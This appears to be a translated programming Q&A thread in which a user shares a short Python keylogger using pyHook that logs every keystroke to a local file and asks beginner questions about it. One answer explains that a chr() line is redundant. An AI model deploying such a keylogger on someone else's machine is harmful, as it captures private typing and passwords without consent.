1

我试图在 pyhton 中制作一个键盘记录器,并在许多博客上偶然发现了这段代码:

file_log='F:\\test\\log.txt'

def onKeyboardEvent(event):
    logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager=pyHook.HookManager()

hooks_manager.KeyDown=onKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

好吧,我在这里有三个疑问:

首先,据我了解, chr(event.Ascii) 用于将击键的 ASCII 值转换为有效的 char 值,我们为什么要这样做两次:chr(event.Ascii) logging.log(10,chr(event. ASCII))。这行 : chr(event.Ascii) 不是多余的吗。

二、format='%(message)s'中的's'有什么用

第三:我将文件保存为 '.pyw' 但是当我双击它时,它不起作用。虽然,它通过 Cmd 工作

4

1 回答 1

2

据我了解, chr(event.Ascii) 用于将击键的 ASCII 值转换为有效的 char 值,我们为什么要这样做两次: chr(event.Ascii) logging.log(10,chr(event.Ascii) )。这行 : chr(event.Ascii) 不是多余的吗。

是的,你理解正确。即使它不是多余的,它也是无用的——这只是一个表达式语句,它计算一个没有副作用的表达式并且对结果不做任何事情,所以它没有任何效果,除了浪费一点 CPU 时间。

当您在互联网上的某个地方找到随机代码时,并不能保证它是出色的代码。

也许作者得到了奇怪的值,并决定他们需要能够在chr调用之前或之后放置一个断点,所以他们把它移到了自己的行上。或者得到一个异常,并且不知道如何判断它是否来自chror log。当然,要么他们应该做s = chr(event.Ascii)然后使用它logging.log(10, s)或其他东西,但也许这只是他们只是忘记恢复的一次性快速和肮脏的事情。

或者,也许作者对 Python 的了解比你少,或者是个白痴,或者只是通过调用内置函数的次数获得报酬。谁知道?

于 2018-06-24T04:57:18.673 回答